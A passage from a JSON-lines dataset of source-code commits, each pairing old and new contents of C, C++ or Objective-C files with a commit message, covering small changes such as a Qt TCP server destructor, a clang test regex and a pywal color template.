<http:\/\/github.com\/ufal\/microrestd\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include <cstring>\n#include <string>\n\nnamespace ufal {\nnamespace microrestd {\n\nstruct string_piece {\n  const char* str;\n  size_t len;\n\n  string_piece() : str(nullptr), len(0) {}\n  string_piece(const char* str) : str(str), len(str ? strlen(str) : 0) {}\n  string_piece(const char* str, size_t len) : str(str), len(len) {}\n  string_piece(const std::string& str) : str(str.c_str()), len(str.size()) {}\n};\n\n} \/\/ namespace microrestd\n} \/\/ namespace ufal\n","subject":"Allow passing nullptr as only const char* argument.","message":"Allow passing nullptr as only const char* argument.\n","lang":"C","license":"mpl-2.0","repos":"ufal\/microrestd,ufal\/microrestd,ufal\/microrestd,ufal\/microrestd,ufal\/microrestd"}
{"commit":"e1367466f6d7c816d29fd6c103af7875d9855f9b","old_file":"LYPopView\/Classes\/LYPopView.h","new_file":"LYPopView\/Classes\/LYPopView.h","old_contents":"\/\/\n\/\/  LYPopView.h\n\/\/  LYPOPVIEW\n\/\/\n\/\/  CREATED BY LUO YU ON 19\/12\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface LYPopView : UIView {\n\t\n\tCGFloat padding;\n\tCGFloat cornerRadius;\n\tCGFloat maxHeight;\n\t\n\t__weak UIView *vCont;\n}\n\n@property (nonatomic, strong) NSString *title;\n\n@property (nonatomic, assign) BOOL autoDismiss;\n\n- (void)show;\n\n- (NSDictionary *)configurations;\n\n@end\n","new_contents":"\/\/\n\/\/  LYPopView.h\n\/\/  LYPOPVIEW\n\/\/\n\/\/  CREATED BY LUO YU ON 19\/12\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface LYPopView : UIView {\n\t\n\tCGFloat padding;\n\tCGFloat cornerRadius;\n\tCGFloat maxHeight;\n\t\n\t__weak UIView *vCont;\n}\n\n@property (nonatomic, strong) NSString *title;\n\n@property (nonatomic, assign) BOOL autoDismiss;\n\n- (void)show;\n\n- (void)dismiss;\n\n- (NSDictionary *)configurations;\n\n@end\n","subject":"Modify : enable dismiss method","message":"Modify : enable dismiss method\n","lang":"C","license":"mit","repos":"blodely\/LYPopView,blodely\/LYPopView"}
{"commit":"dfdb3a90d41a8d784e39321f64f2c9cca2bbcfb3","old_file":"proxygen\/lib\/utils\/test\/MockTime.h","new_file":"proxygen\/lib\/utils\/test\/MockTime.h","old_contents":"\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <glog\/logging.h>\n#include <proxygen\/lib\/utils\/Time.h>\n\nnamespace proxygen {\n\nclass MockTimeUtil : public TimeUtil {\n public:\n\n  void advance(std::chrono::milliseconds ms) {\n    t_ += ms;\n  }\n\n  void setCurrentTime(TimePoint t) {\n    CHECK(t.time_since_epoch() > t_.time_since_epoch())\n      << \"Time can not move backwards\";\n    t_ = t;\n  }\n\n  void verifyAndClear() {\n  }\n\n  TimePoint now() const override {\n    return t_;\n  }\n\n private:\n  TimePoint t_;\n};\n\n}\n","new_contents":"\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <glog\/logging.h>\n#include <proxygen\/lib\/utils\/Time.h>\n\nnamespace proxygen {\n\ntemplate <typename ClockType = std::chrono::steady_clock>\nclass MockTimeUtilGeneric : public TimeUtilGeneric<ClockType> {\n public:\n\n  void advance(std::chrono::milliseconds ms) {\n    t_ += ms;\n  }\n\n  void setCurrentTime(std::chrono::time_point<ClockType> t) {\n    CHECK(t.time_since_epoch() > t_.time_since_epoch())\n      << \"Time can not move backwards\";\n    t_ = t;\n  }\n\n  void verifyAndClear() {\n  }\n\n  std::chrono::time_point<ClockType> now() const override {\n    return t_;\n  }\n\n private:\n  std::chrono::time_point<ClockType> t_;\n};\n\nusing MockTimeUtil = MockTimeUtilGeneric<>;\n\n}\n","subject":"Expire cached TLS session tickets using tlsext_tick_lifetime_hint","message":"Expire cached TLS session tickets using tlsext_tick_lifetime_hint\n\nSummary:\nOur current TLS cache in liger does not respect timeout hints. We should\nstart doing that because it will limit certain kinds of attacks if an\nattacker gets access to a master key.\n\nTest Plan: Added new test in SSLSessionPersistentCacheTest to test expiration\n\nReviewed By: subodh@fb.com\n\nSubscribers: bmatheny, seanc, yfeldblum, devonharris\n\nFB internal diff: D2299744\n\nTasks: 7633098\n\nSignature: t1:2299744:1439331830:9d0770149e49b6094ca61bac4e1e4ef16938c4dc\n","lang":"C","license":"bsd-3-clause","repos":"LilMeyer\/proxygen,songfj\/proxygen,raphaelamorim\/proxygen,raphaelamorim\/proxygen,raphaelamorim\/proxygen,KublaikhanGeek\/proxygen,supriyantomaftuh\/proxygen,hiproz\/proxygen,pueril\/proxygen,hongliangzhao\/proxygen,raphaelamorim\/proxygen,Werror\/proxygen,chenmoshushi\/proxygen,supriyantomaftuh\/proxygen,hiproz\/proxygen,jgli\/proxygen,chenmoshushi\/proxygen,Orvid\/proxygen,chenmoshushi\/proxygen,LilMeyer\/proxygen,hnutank163\/proxygen,zhiweicai\/proxygen,songfj\/proxygen,jgli\/proxygen,KublaikhanGeek\/proxygen,hiproz\/proxygen,Werror\/proxygen,songfj\/proxygen,hongliangzhao\/proxygen,zhiweicai\/proxygen,pueril\/proxygen,supriyantomaftuh\/proxygen,Werror\/proxygen,pueril\/proxygen,zhiweicai\/proxygen,Orvid\/proxygen,hnutank163\/proxygen,hiproz\/proxygen,KublaikhanGeek\/proxygen,jgli\/proxygen,jgli\/proxygen,hongliangzhao\/proxygen,hnutank163\/proxygen,fqihangf\/proxygen,KublaikhanGeek\/proxygen,chenmoshushi\/proxygen,fqihangf\/proxygen,fqihangf\/proxygen,pueril\/proxygen,supriyantomaftuh\/proxygen,Orvid\/proxygen,hongliangzhao\/proxygen,zhiweicai\/proxygen,LilMeyer\/proxygen,Werror\/proxygen,LilMeyer\/proxygen,fqihangf\/proxygen,Orvid\/proxygen,songfj\/proxygen,hnutank163\/proxygen"}
{"commit":"429d29660bfd271aa842626dc8d705f64f407396","old_file":"include\/atoms\/numeric\/rolling_average.h","new_file":"include\/atoms\/numeric\/rolling_average.h","old_contents":"#pragma once\n\n\/\/ This file is part of 'Atoms' library - https:\/\/github.com\/yaqwsx\/atoms\n\/\/ Author: Jan 'yaqwsx' Mrázek\n\n#include <array>\n#include <initializer_list>\n#include <algorithm>\n\nnamespace atoms {\n\ntemplate <class T, size_t SIZE>\nclass RollingAverage {\npublic:\n    RollingAverage() : sum(0), index(0)\n    {\n        std::fill(values.begin(), values.end(), T(0));\n    };\n\n    void push(const T& t) {\n        sum += t - values[index];\n        values[index] = t;\n        index++;\n        if (index == SIZE)\n            index = 0;\n    }\n\n    T get_average() {\n        return sum \/ T(SIZE);\n    }\n\n    T get_sum() {\n        return sum;\n    }\n\n    void clear(T t = 0) {\n        std::fill(values.begin(), values.end(), t);\n        sum = t * SIZE;\n    }\n    \nprivate:\n    std::array<T, SIZE> values;\n    T sum;\n    size_t index;\n};\n\n}\n","new_contents":"#pragma once\n\n\/\/ This file is part of 'Atoms' library - https:\/\/github.com\/yaqwsx\/atoms\n\/\/ Author: Jan 'yaqwsx' Mrázek\n\n#include <array>\n#include <initializer_list>\n#include <algorithm>\n\nnamespace atoms {\n\ntemplate <class T, size_t SIZE>\nclass RollingAverage {\npublic:\n    RollingAverage() : sum(0), index(0)\n    {\n        std::fill(begin(), end(), T(0));\n    };\n\n    void push(const T& t) {\n        sum += t - values[index];\n        values[index] = t;\n        index++;\n        if (index == SIZE)\n            index = 0;\n    }\n\n    T get_average() {\n        return sum \/ T(SIZE);\n    }\n\n    T get_sum() {\n        return sum;\n    }\n\n    void clear(T t = 0) {\n        std::fill(begin(), end(), t);\n        sum = t * SIZE;\n    }\n\n    T *begin() { return values; }\n    T *end() { return values + SIZE; }\nprivate:\n    T values[ SIZE ];\n    T sum;\n    size_t index;\n};\n\n}\n","subject":"Remove std::array dependency of RollingAverage","message":"Remove std::array dependency of RollingAverage\n\nThis makes it compatible with MCUs without STL.\n","lang":"C","license":"mit","repos":"yaqwsx\/atoms"}
{"commit":"bf3a60b17fa0a12bc7a548e9c659f45684742258","old_file":"test\/CodeGen\/pointer-signext.c","new_file":"test\/CodeGen\/pointer-signext.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-win32 -emit-llvm -O2 -o - %s | FileCheck %s\n\n\/\/ Under Windows 64, int and long are 32-bits.  Make sure pointer math doesn't\n\/\/ cause any sign extensions.\n\n\/\/ CHECK:      [[P:%.*]] = add i64 %param, -8\n\/\/ CHECK-NEXT: [[Q:%.*]] = inttoptr i64 [[P]] to [[R:%.*]]\n\/\/ CHECK-NEXT: {{%.*}} = getelementptr inbounds [[R]] [[Q]], i64 0, i32 0\n\n#define CR(Record, TYPE, Field) \\\n  ((TYPE *) ((unsigned char *) (Record) - (unsigned char *) &(((TYPE *) 0)->Field)))\n\ntypedef struct _LIST_ENTRY {\n  struct _LIST_ENTRY  *ForwardLink;\n  struct _LIST_ENTRY  *BackLink;\n} LIST_ENTRY;\n\ntypedef struct {\n  unsigned long long    Signature;\n  LIST_ENTRY            Link;\n} MEMORY_MAP;\n\nint test(unsigned long long param)\n{\n  LIST_ENTRY      *Link;\n  MEMORY_MAP      *Entry;\n\n  Link = (LIST_ENTRY *) param;\n\n  Entry = CR (Link, MEMORY_MAP, Link);\n  return (int) Entry->Signature;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-win32 -emit-llvm -O2 -o - %s | FileCheck %s\n\n\/\/ Under Windows 64, int and long are 32-bits.  Make sure pointer math doesn't\n\/\/ cause any sign extensions.\n\n\/\/ CHECK:      [[P:%.*]] = add i64 %param, -8\n\/\/ CHECK-NEXT: [[Q:%.*]] = inttoptr i64 [[P]] to [[R:%.*\\*]]\n\/\/ CHECK-NEXT: {{%.*}} = getelementptr inbounds [[R]] [[Q]], i64 0, i32 0\n\n#define CR(Record, TYPE, Field) \\\n  ((TYPE *) ((unsigned char *) (Record) - (unsigned char *) &(((TYPE *) 0)->Field)))\n\ntypedef struct _LIST_ENTRY {\n  struct _LIST_ENTRY  *ForwardLink;\n  struct _LIST_ENTRY  *BackLink;\n} LIST_ENTRY;\n\ntypedef struct {\n  unsigned long long    Signature;\n  LIST_ENTRY            Link;\n} MEMORY_MAP;\n\nint test(unsigned long long param)\n{\n  LIST_ENTRY      *Link;\n  MEMORY_MAP      *Entry;\n\n  Link = (LIST_ENTRY *) param;\n\n  Entry = CR (Link, MEMORY_MAP, Link);\n  return (int) Entry->Signature;\n}\n","subject":"Tweak regex not to accidentally match a trailing \\r.","message":"Tweak regex not to accidentally match a trailing \\r.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@113966 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"0e59e34d8ed15480bd61595be1e98b387770676e","old_file":"pywal\/templates\/colors-wal-st.h","new_file":"pywal\/templates\/colors-wal-st.h","old_contents":"const char *colorname[] = {{\n\n  \/* 8 normal colors *\/\n  [0] = \"{color0}\", \/* black   *\/\n  [1] = \"{color1}\", \/* red     *\/\n  [2] = \"{color2}\", \/* green   *\/\n  [3] = \"{color3}\", \/* yellow  *\/\n  [4] = \"{color4}\", \/* blue    *\/\n  [5] = \"{color5}\", \/* magenta *\/\n  [6] = \"{color6}\", \/* cyan    *\/\n  [7] = \"{color7}\", \/* white   *\/\n\n  \/* 8 bright colors *\/\n  [8]  = \"{color8}\",  \/* black   *\/\n  [9]  = \"{color9}\",  \/* red     *\/\n  [10] = \"{color10}\", \/* green   *\/\n  [11] = \"{color11}\", \/* yellow  *\/\n  [12] = \"{color12}\", \/* blue    *\/\n  [13] = \"{color13}\", \/* magenta *\/\n  [14] = \"{color14}\", \/* cyan    *\/\n  [15] = \"{color15}\", \/* white   *\/\n\n  \/* special colors *\/\n  [256] = \"{background}\", \/* background *\/\n  [257] = \"{foreground}\", \/* foreground *\/\n  [258] = \"{cursor}\",     \/* cursor *\/\n}};\n\n\/* Default colors (colorname index)\n * foreground, background, cursor *\/\n unsigned int defaultbg = 256;\n unsigned int defaultfg = 257;\n unsigned int defaultcs = 258;\n","new_contents":"const char *colorname[] = {{\n\n  \/* 8 normal colors *\/\n  [0] = \"{color0}\", \/* black   *\/\n  [1] = \"{color1}\", \/* red     *\/\n  [2] = \"{color2}\", \/* green   *\/\n  [3] = \"{color3}\", \/* yellow  *\/\n  [4] = \"{color4}\", \/* blue    *\/\n  [5] = \"{color5}\", \/* magenta *\/\n  [6] = \"{color6}\", \/* cyan    *\/\n  [7] = \"{color7}\", \/* white   *\/\n\n  \/* 8 bright colors *\/\n  [8]  = \"{color8}\",  \/* black   *\/\n  [9]  = \"{color9}\",  \/* red     *\/\n  [10] = \"{color10}\", \/* green   *\/\n  [11] = \"{color11}\", \/* yellow  *\/\n  [12] = \"{color12}\", \/* blue    *\/\n  [13] = \"{color13}\", \/* magenta *\/\n  [14] = \"{color14}\", \/* cyan    *\/\n  [15] = \"{color15}\", \/* white   *\/\n\n  \/* special colors *\/\n  [256] = \"{background}\", \/* background *\/\n  [257] = \"{foreground}\", \/* foreground *\/\n  [258] = \"{cursor}\",     \/* cursor *\/\n}};\n\n\/* Default colors (colorname index)\n * foreground, background, cursor *\/\n unsigned int defaultbg = 0;\n unsigned int defaultfg = 257;\n unsigned int defaultcs = 258;\n","subject":"Fix bg color not updating","message":"st: Fix bg color not updating\n","lang":"C","license":"mit","repos":"dylanaraps\/pywal,dylanaraps\/pywal,dylanaraps\/pywal"}
{"commit":"fc1e9dd5a5b313c06c41e25169127f6deedaf164","old_file":"src\/tcp_server.h","new_file":"src\/tcp_server.h","old_contents":"\n#ifndef QML_SOCKETS_TCP_SERVER\n#define QML_SOCKETS_TCP_SERVER\n\n#include <QtNetwork>\n\n#include \"tcp.h\"\n\n\nclass TCPServer : public QObject\n{\n    Q_OBJECT\n    \n    Q_PROPERTY(uint port MEMBER m_port NOTIFY portChanged)\n    \nsignals:\n    void portChanged();\n    \n    void clientRead(TCPSocket* client, const QString &message);\n    void clientConnected(TCPSocket* client);\n    void clientDisconnected(TCPSocket* client);\n    \npublic:\n    TCPServer()\n    {\n        m_server = new QTcpServer(this);\n        \n        QObject::connect(m_server, &QTcpServer::newConnection,\n        [=]() {\n            TCPSocket *client = \\\n                new TCPSocket(m_server->nextPendingConnection());\n            \n            QObject::connect(client, &TCPSocket::read,\n            [=](const QString &message) {\n                emit clientRead(client, message);\n            });\n            \n            QObject::connect(client, &TCPSocket::disconnected,\n            [=]() {\n                emit clientDisconnected(client);\n                delete client;\n            });\n            \n            emit clientConnected(client);\n        });\n        \n    };\n    \n    ~TCPServer()\n    {\n    }\n    \npublic slots:\n    void listen()\n    { m_server->listen(QHostAddress::Any, m_port); }\n    \npublic:\n    uint m_port;\n    QTcpServer *m_server = NULL;\n};\n\n#endif\n","new_contents":"\n#ifndef QML_SOCKETS_TCP_SERVER\n#define QML_SOCKETS_TCP_SERVER\n\n#include <QtNetwork>\n\n#include \"tcp.h\"\n\n\nclass TCPServer : public QObject\n{\n    Q_OBJECT\n    \n    Q_PROPERTY(uint port MEMBER m_port NOTIFY portChanged)\n    \nsignals:\n    void portChanged();\n    \n    void clientRead(TCPSocket* client, const QString &message);\n    void clientConnected(TCPSocket* client);\n    void clientDisconnected(TCPSocket* client);\n    \npublic:\n    TCPServer()\n    {\n        m_server = new QTcpServer(this);\n        \n        QObject::connect(m_server, &QTcpServer::newConnection,\n        [=]() {\n            TCPSocket *client = \\\n                new TCPSocket(m_server->nextPendingConnection());\n            \n            QObject::connect(client, &TCPSocket::read,\n            [=](const QString &message) {\n                emit clientRead(client, message);\n            });\n            \n            QObject::connect(client, &TCPSocket::disconnected,\n            [=]() {\n                emit clientDisconnected(client);\n                delete client;\n            });\n            \n            emit clientConnected(client);\n        });\n    };\n    \n    ~TCPServer()\n    { delete m_server; m_server = NULL; }\n    \npublic slots:\n    void listen()\n    { m_server->listen(QHostAddress::Any, m_port); }\n    \npublic:\n    uint m_port;\n    QTcpServer *m_server = NULL;\n};\n\n#endif\n","subject":"Add deletion of m_server from TCPServer in destructor","message":"Add deletion of m_server from TCPServer in destructor\n\n--HG--\nextra : amend_source : 0364038a316b4f2a036025a5e896379ac29f77c5\n","lang":"C","license":"mit","repos":"jemc\/qml-sockets,jemc\/qml-sockets"}
{"commit":"ea2a841e4ba38300d287052d96cb397d4f4a7cf5","old_file":"jni\/shaders\/displayFrag.h","new_file":"jni\/shaders\/displayFrag.h","old_contents":"\/*\n * Copyright (c) 2015 Ivan Valiulin\n *\n * This file is part of viaVR.\n *\n * viaVR is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation, either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * viaVR is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty\n * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with viaVR. If not, see http:\/\/www.gnu.org\/licenses\n *\/\n\nR\"(#version 300 es\nprecision mediump float;\n\nuniform sampler2D video;\nin vec2 coord;\nout vec4 outColor;\n\nvoid main () {\n\toutColor = texture (video, coord);\n})\";\n","new_contents":"\/*\n * Copyright (c) 2015 Ivan Valiulin\n *\n * This file is part of viaVR.\n *\n * viaVR is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation, either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * viaVR is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty\n * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with viaVR. If not, see http:\/\/www.gnu.org\/licenses\n *\/\n\nR\"(#version 300 es\nprecision highp float;\n\nuniform sampler2D video;\nin vec2 coord;\nout vec4 outColor;\n\nvoid main () {\n\toutColor = texture (video, coord);\n})\";\n","subject":"Switch display fragment shader to highp","message":"Switch display fragment shader to highp\n","lang":"C","license":"lgpl-2.1","repos":"vivan000\/viaVR,vivan000\/viaVR"}
{"commit":"9802ec76a7c900a7fffa37df75e68f51c9e1288c","old_file":"test\/test_sock.c","new_file":"test\/test_sock.c","old_contents":"\/\/ Copyright (c) 2014-2017, NetApp, Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/    this list of conditions and the following disclaimer in the documentation\n\/\/    and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include \"common.h\"\n\n\nint main(void)\n{\n    init();\n    io(111111);\n    cleanup();\n}\n","new_contents":"\/\/ Copyright (c) 2014-2017, NetApp, Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/    this list of conditions and the following disclaimer in the documentation\n\/\/    and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include \"common.h\"\n\n\nint main(void)\n{\n    init();\n    io(8);\n    cleanup();\n}\n","subject":"Use a saner test size","message":"Use a saner test size\n","lang":"C","license":"bsd-2-clause","repos":"NTAP\/warpcore,NTAP\/warpcore,NTAP\/warpcore,NTAP\/warpcore"}
{"commit":"145358e9c07bad314111000776ea0d42b97461d0","old_file":"MGSFragariaPrefsViewController.h","new_file":"MGSFragariaPrefsViewController.h","old_contents":"\/\/\n\/\/  MGSFragariaPrefsViewController.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jonathan on 22\/10\/2012.\n\/\/\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/**\n *  MGSFragariaPrefsViewController provides a base class for other Fragaria\n *  preferences controllers. It is not implemented directly anywhere.\n *  @see MGSFragariaFontsAndColorsPrefsViewController.h\n *  @see MGSFragariaTextEditingPrefsViewController.h\n **\/\n\n@interface MGSFragariaPrefsViewController : NSViewController <NSTabViewDelegate>\n\n\/**\n *  Commit edits, discarding changes on error.\n **\/\n- (BOOL)commitEditingAndDiscard:(BOOL)discard;\n\n@end\n","new_contents":"\/\/\n\/\/  MGSFragariaPrefsViewController.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jonathan on 22\/10\/2012.\n\/\/\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/**\n *  MGSFragariaPrefsViewController provides a base class for other Fragaria\n *  preferences controllers. It is not implemented directly anywhere.\n *  @see MGSFragariaFontsAndColoursPrefsViewController\n *  @see MGSFragariaTextEditingPrefsViewController\n **\/\n\n@interface MGSFragariaPrefsViewController : NSViewController <NSTabViewDelegate>\n\n\/**\n *  Commit edits, discarding changes on error.\n *  @param discard indicates whether or not to discard current uncommitted changes.\n **\/\n- (BOOL)commitEditingAndDiscard:(BOOL)discard;\n\n@end\n","subject":"Add @param description for AppleDoc.","message":"Add @param description for AppleDoc.\n","lang":"C","license":"apache-2.0","repos":"shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria"}
{"commit":"ab5bc2ec06f22d90a0529531ae6c2f19a359ad83","old_file":"tests\/argparse.c","new_file":"tests\/argparse.c","old_contents":"#include \"common.h\"\n\nstatic void args_empty(void **state) {\n    args *args = *state;\n\n    assert_null(args->opts);\n    assert_null(args->operands);\n}\n\nstatic void add_option_passed_null(void **state) {\n    args *args = *state;\n\n    assert_int_equal(\n            ARGPARSE_PASSED_NULL,\n            args_add_option(args, NULL)\n            );\n}\n\nstatic void empty_option_fail(void **state) {\n    args *args = *state;\n\n    option *opt = option_new(\"\", \"\", \"\");\n    assert_int_equal(\n            ARGPARSE_EMPTY_OPTION,\n            args_add_option(args, opt)\n            );\n\n    option_free(opt);\n}\n\nstatic void add_operand_passed_null(void **state) {\n    args *args = *state;\n\n    assert_int_equal(\n            ARGPARSE_PASSED_NULL,\n            args_add_operand(args, NULL)\n            );\n}\n\nint main() {\n    const struct CMUnitTest tests[] = {\n        cmocka_unit_test(args_empty),\n        cmocka_unit_test(add_option_passed_null),\n        cmocka_unit_test(empty_option_fail),\n        cmocka_unit_test(add_operand_passed_null),\n    };\n\n    return cmocka_run_group_tests(tests, common_setup, common_teardown);\n}\n","new_contents":"#include \"common.h\"\n\nstatic void args_empty(void **state) {\n    args *args = *state;\n\n    assert_null(args->opts);\n    assert_null(args->operands);\n}\n\nstatic void add_option_passed_null(void **state) {\n    args *args = *state;\n\n    assert_int_equal(\n            ARGPARSE_PASSED_NULL,\n            args_add_option(args, NULL)\n            );\n}\n\nstatic void empty_option_fail(void **state) {\n    args *args = *state;\n\n    option *opt = option_new(\"\", \"\", \"\");\n    assert_int_equal(\n            ARGPARSE_EMPTY_OPTION,\n            args_add_option(args, opt)\n            );\n\n    option_free(opt);\n}\n\nstatic void add_operand_passed_null(void **state) {\n    args *args = *state;\n\n    assert_int_equal(\n            ARGPARSE_PASSED_NULL,\n            args_add_operand(args, NULL)\n            );\n}\n\nint main() {\n    #define TEST(test) cmocka_unit_test_setup_teardown( \\\n            test, \\\n            common_setup, \\\n            common_teardown \\\n            )\n\n    const struct CMUnitTest tests[] = {\n        TEST(args_empty),\n        TEST(add_option_passed_null),\n        TEST(empty_option_fail),\n        TEST(add_operand_passed_null),\n    };\n\n    return cmocka_run_group_tests(tests, NULL, NULL);\n}\n","subject":"Use a TEST() macro to run common_{setup,teardown}","message":"Use a TEST() macro to run common_{setup,teardown}\n","lang":"C","license":"mit","repos":"ntnn\/libargparse,ntnn\/libargparse"}
{"commit":"c5c547e1faeeb300fb7a7d4976f561bb01496cad","old_file":"libgo\/runtime\/rtems-task-variable-add.c","new_file":"libgo\/runtime\/rtems-task-variable-add.c","old_contents":"\/* rtems-task-variable-add.c -- adding a task specific variable in RTEMS OS.\n\n   Copyright 2010 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <rtems\/error.h>\n#include <rtems\/system.h>\n#include <rtems\/rtems\/tasks.h>\n\n\/* RTEMS does not support GNU TLS extension __thread.  *\/\nvoid\n__wrap_rtems_task_variable_add (void **var)\n{\n  rtems_status_code sc = rtems_task_variable_add (RTEMS_SELF, var, NULL);\n  if (sc != RTEMS_SUCCESSFUL)\n    {\n      rtems_error (sc, \"rtems_task_variable_add failed\");\n    }\n}\n\n","new_contents":"\/* rtems-task-variable-add.c -- adding a task specific variable in RTEMS OS.\n\n   Copyright 2010 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <assert.h>\n\n#include <rtems\/error.h>\n#include <rtems\/system.h>\n#include <rtems\/rtems\/tasks.h>\n\n\/* RTEMS does not support GNU TLS extension __thread.  *\/\nvoid\n__wrap_rtems_task_variable_add (void **var)\n{\n  rtems_status_code sc = rtems_task_variable_add (RTEMS_SELF, var, NULL);\n  if (sc != RTEMS_SUCCESSFUL)\n    {\n      rtems_error (sc, \"rtems_task_variable_add failed\");\n      assert (0);\n    }\n}\n\n","subject":"Add assert on rtems_task_variable_add error.","message":"Add assert on rtems_task_variable_add 